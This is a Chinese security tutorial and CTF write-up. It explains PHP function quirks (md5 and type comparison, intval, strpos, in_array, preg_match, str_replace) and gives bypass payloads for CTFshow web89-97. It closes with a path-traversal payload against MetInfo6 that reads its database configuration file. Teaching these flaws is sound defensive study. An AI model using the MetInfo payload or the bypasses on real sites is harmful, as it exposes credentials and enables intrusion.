| |
 
  |  
 
| 
	
开发:
C++知识库 
Java知识库 
JavaScript 
Python 
PHP知识库 
人工智能 
区块链 
大数据 
移动开发 
嵌入式 
开发工具 
数据结构与算法 
开发测试 
游戏开发 
网络协议 
系统运维 
 教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁  | 
	 
| -> PHP知识库 -> WEB攻防-PHP特性-学以致用 -> 正文阅读 | 
|  
 | 
[PHP知识库]WEB攻防-PHP特性-学以致用 | 
| 
 
 
 知识点:1、过滤函数缺陷绕过 2、学习知识点的作用 
 php函数特性知识点讲解1、 
 | 
| 原文 | MD5密文 | 
|---|---|
| QNKCDZO | 0e830400451993494058024219903391 | 
| 240610708 | 0e462097431906509019562988736854 | 
| s878926199a | 0e545993274517709034328855841020 | 
| s155964671a | 0e342768416822451524974117254469 | 
 <?php
 header("Content-Type:text/html;charset=utf-8");
 $flag = '小迪师傅--yyds';
 ?
 if($_GET['name'] != $_GET['password']){
     if(MD5($_GET['name']) == MD5($_GET['password'])){
         echo $flag;
     }
     echo '?';
 } 
payload:
 ?name=QNKCDZO&password=240610708 
 

===的绕过
===会比较类型,这个时候可以用到PHP中md5()函数无法处理数组(会返回NULL)来实现绕过。
 <?php
 header("Content-Type:text/html;charset=utf-8");
 $flag = '小迪师傅--yyds';
 ?
 if($_GET['name'] != $_GET['password']){
     if(MD5($_GET['name']) === MD5($_GET['password'])){
         echo $flag;
     }
     echo '?';
 } 
payload:
 /?name[]=1&password[]=2 
虽然报错但是可以正常 输出结果

intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
语法
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
返回值:
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1
<?php
header("Content-Type:text/html;charset=utf-8");
$flag = '小迪师傅--yyds';
$i='666';
$ii=$_GET['n'];
if(intval($ii==$i,0)){
    echo $flag;
} 
根据上面intval()函数介绍,可以知道base值为0,所以可以使用使用其他进制替换666数据进行绕过。
八进制的666-->01232
十六进制-->0x29a
payload:
?n=0x29a 

strpos() 查找 "php" 在字符串中第一次出现的位置:
<?php
	echo strpos("You love php, I love php too!","php");
?> 
语法
strpos(string,find,start)
| 参数 | 描述 | 
|---|---|
| string | 必需。规定要搜索的字符串。 | 
| find | 必需。规定要查找的字符串。 | 
| start | 可选。规定在何处开始搜索。 | 
返回值
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
注释:字符串位置从 0 开始,不是从 1 开始。
<?php
header("Content-Type:text/html;charset=utf-8");
$flag = '小迪师傅--yyds';
$i='123666';
$ii=$_GET['h'];
if(strpos($i,$ii,"0")){
    echo $flag;
} 
if(0)没有办法触发函数if,如果%0a666进行换行查找的话,换行也会被带进去查找!
in_array-检查数组中是否存在某个值
语法
in_array(search,array,type)
search 必需。规定要在数组搜索的值。
array 必需。规定要搜索的数组。
type 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。
如果不设置第三个参数,那么相当于==不对比数据类型则1.0、+1、1,***都是可以绕过的
<?php
header("Content-Type:text/html;charset=utf-8");
$flag = '小迪师傅--yyds';
$whitelist = [1,2,3];
$page=$_GET['i'];
if (in_array($page, $whitelist)) {
    echo '$flag';
} 
payload:
?i=+1.0,sec 
 

修饰符含义
| 修饰符 | 意义 | 
|---|---|
| / i | 不区分大小写的匹配 | 
| / s | 使句点( . )匹配任何字符,包括换行符( ) | 
| / x | 从模式中删除空白符和注释 | 
| / m | 使 ^ 匹配换行符 ( )之后的内容,美元符号($)匹配换行符 ( )之前的内容 | 
| / e | 如果替换字符串是PHP代码,使用eval()执行该代码来得到实际的替换字符串 | 
| / U | 颠倒子模式的贪婪性; * 和 + 尽可能少地匹配而不是尽可能多。 | 
| / u | 把模式字符串当作UTF - 8编码对待 | 
| / X | 如果一个反斜杠之后跟着没有特殊意义的字符,将产生一个错误 | 
| / A | 把锚定位在字符串的开头就像模式中有 ^ 一样 | 
| / D | 使 $字符仅匹配一行的末尾 | 
| / S | 使表达式解析器更加小心地检查模式的结构,使得第二次运行时(如在一个循环中)加快速度 | 
下方代码:
不能输入0-9,但还要进入if(intval($num))这个函数
<?php
header("Content-Type:text/html;charset=utf-8");
$flag = '小迪师傅--yyds';
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
} 
绕过思路:preg_match 无法匹配数组
payload
/?num[]=1 

把字符串 "Hello world!" 中的字符 "world" 替换成 "Peter":
<?php
	echo str_replace("world","Peter","Hello world!");
?> 
str_replace(find,replace,string,count)
| 参数 | 描述 | 
|---|---|
| find | 必需。规定要查找的值。 | 
| replace | 必需。规定替换 find 中的值的值。 | 
| string | 必需。规定被搜索的字符串。 | 
| count | 可选。一个变量,对替换数进行计数。 | 
<?php
header("Content-Type:text/html;charset=utf-8");
$sql=$_GET['s'];
$sql=str_replace('select','',$sql);
echo $sql; 
过滤select,但是最终实现输出select的效果
str_replace只可以替换一次,所以可以使用双写构造语法进行绕过
payload:
/?s=sselectelect 

学习了以上知识点后,可以通过刷题巩固自己的学习效果,以及验证自己学习的内容是否有用,主要是CTFSHOW web89-97关和源码的代码审计。
????????????????????????????????????????????????👇👇👇👇👇👇👇👇ctfshow👇👇👇👇👇👇👇👇
 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}  
题目分析:
接受变量num,num变量不可以出现0-9,但是还必须要求num是正数。
preg_match不可以处理数组。
payload
?num[]=1 
 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 
题目分析
接受num变量,num不可以等于4476但是有要求进入 if(intval($num,0)===4476)函数拿到flag
根据intval()函数特性,我们可以进行禁止转换
八进制4476-->10574
十六进制4476-->117c
payload
/?num=010574
/?num=0x117c 
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 
题目分析
php开头,php结尾、i不区分大小写、m是多行匹配
第一个preg_match是修饰符是im,第二个是i,所以我们可以使用换行绕过
正则表达式详解:https://www.jb51.net/article/36172.htm
payload
?cmd=%0Aphp 
 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}  
题目分析
接受变量num,num值不等于4476绕过第一个if,有要求intval($num,0)==4476,intval是取整,所以可以令num=4476.1也可以进行进制转换构造payload。
payload
/?num=4476.1 
 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}  
题目分析
比92题多了一个正则匹配,不可以输入a-z,相当于禁止了十六进制转换构造payload
payload
/?num=4476.1 
 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}  
题目分析
在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。
/?num=4476.0 
 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}  
题目分析
多了一个不需要使用点,就相当于上面的小数就不可以使用了。因为前面是弱类型比较,可以在前面加入一个下划线来绕过num=_010574,发现没有出现flag但是也没有出现nonono,所以表示前面三个过滤条件都已经绕过了。就是输出flag的函数没有触发,把其他的特殊符号都是一下,最后发现加号和空格可以。
intval在处理加号和空格开发的数字的时候,会作为一个整数处理
payload
/?num=+010574 
 <?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
} 
题目分析
不可以直接输入flag.php但是又要求读取flag.php,可以通过加入路径经行读取。
payload
/?u=./flag.php 
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
    if ($_POST['a'] != $_POST['b'])
        if (md5($_POST['a']) === md5($_POST['b']))
            echo $flag;
        else
            print 'Wrong.';
}
?> 
题目分析
post接受a和b,但是进入if ($POST['a'] != $POST['b'])有要求md5($POST['a']) === md5($POST['b'])相等,md5不可以处理数组返回值都是NULL
payload:
a[]=1&b[]=2 
?????????????????????????????????????? 👇👇👇👇👇👇👇👇代码审计👇👇👇👇👇👇👇👇
根据学习的以上知识点,可以进行简单的代码审计。
搜索关键字str_place
\MetInfo6\app\system\include\module\old_thumb.class.php

从代码中可以看到,$dir直接由$_GET['dir']传递进来,并将../和./置空。目标是进入到第一个if里面的readfile($dir);,读取文件。
看看if语句的条件,里面的是将$dir中包含$_M['url']['site']的部分置空,这里可以不用管。外面是一个strstr函数,判断$dir中http字符串的首次出现位置,也就是说,要进入到这个if语句里面,$dir中包含http字符串即可。

从上面的分析可以构造出payload,只要$dir里包含http字符串就可以进入到readfile函数从而读取任意函数,然后可以使用.....///来进行目录跳转,因为../和./会被置空,所以最终payload如下:
/include/thumb.php?dir=.....///http/.....//\config\config_db.php 
被替换后实际带入其中的结果是:
../http/..\config\config_db.php 

跌跌撞撞的算是把二十天的内容搞定了,其中看了许多资料也收获了很多。一看就会-一座就废,看了≠会了。
免责声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。禁止用于任何非法用途。如有任何人凭此做何非法事情,均于笔者无关,特此声明。
|  
 | 
| PHP知识库 最新文章 | 
| Laravel 下实现 Google 2fa 验证 | 
| UUCTF WP | 
| DASCTF10月 web | 
| XAMPP任意命令执行提升权限漏洞(CVE-2020- | 
| [GYCTF2020]Easyphp | 
| iwebsec靶场 代码执行关卡通关笔记 | 
| 多个线程同步执行,多个线程依次执行,多个 | 
| php 没事记录下常用方法 (TP5.1) | 
| php之jwt | 
| 2021-09-18 | 
|  
 | 
| 上一篇文章 下一篇文章 查看所有文章 | 
	
  | 
| 
	
开发:
C++知识库 
Java知识库 
JavaScript 
Python 
PHP知识库 
人工智能 
区块链 
大数据 
移动开发 
嵌入式 
开发工具 
数据结构与算法 
开发测试 
游戏开发 
网络协议 
系统运维 
 教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁  | 
	 
| 360图书馆 购物 三丰科技 阅读网 日历 万年历 2025年11日历 | -2025/11/4 21:53:48- | 
  |  
 
| 网站联系: qq:121756557 email:121756557@qq.com IT数码 |